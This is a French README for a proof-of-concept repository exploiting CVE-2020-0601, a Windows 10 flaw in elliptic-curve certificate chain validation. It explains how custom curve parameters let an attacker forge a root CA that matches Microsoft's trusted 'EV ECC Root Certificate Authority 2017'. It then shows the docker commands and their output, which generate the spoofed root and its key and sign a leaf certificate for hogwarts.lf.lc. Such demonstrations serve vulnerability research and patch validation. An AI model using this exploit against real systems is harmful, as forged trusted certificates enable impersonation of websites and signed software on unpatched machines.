
proof of concept for CVE-2020-0601
Une preuve de concept amusante pour créer votre propre autorité de certification racine et certificat signé basé sur la vulnérabilité CVE-2020-0601 dans Windows 10. La base du problème est que la méthode CertGetCertificateChain() a mal validé les autorités de certification racine. Étant donné que la recherche d’un certificat de signature dans le magasin de confiance peut être coûteuse, Microsoft a implémenté un cache qui utilisait la clé publique du certificat racine fourni pour déterminer si ce certificat avait déjà été chargé à partir du magasin de confiance. Cependant, pour les certificats à courbe elliptique, le SubjectPublicKeyInfo contient plus qu’une simple clé publique. Les certificats à courbe elliptique doivent référencer la courbe elliptique spécifique (ou fournir leurs propres paramètres de courbe elliptique personnalisés). La vulnérabilité se produit car les paramètres de la courbe elliptique ne sont pas inclus dans la recherche dans le cache. Nous pouvons prendre une clé publique existante, choisir une nouvelle clé privée, calculer des paramètres de courbe qui rendent cette combinaison valide, et créer un certificat racine qui passera la recherche dans le cache auparavant vulnérable de Microsoft.
Ce dépôt démontre l’usurpation du certificat racine de confiance « Microsoft EV ECC Root Certificate Authority 2017 » et l’utilisation de cette nouvelle autorité de certification racine pour signer un certificat feuille.

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem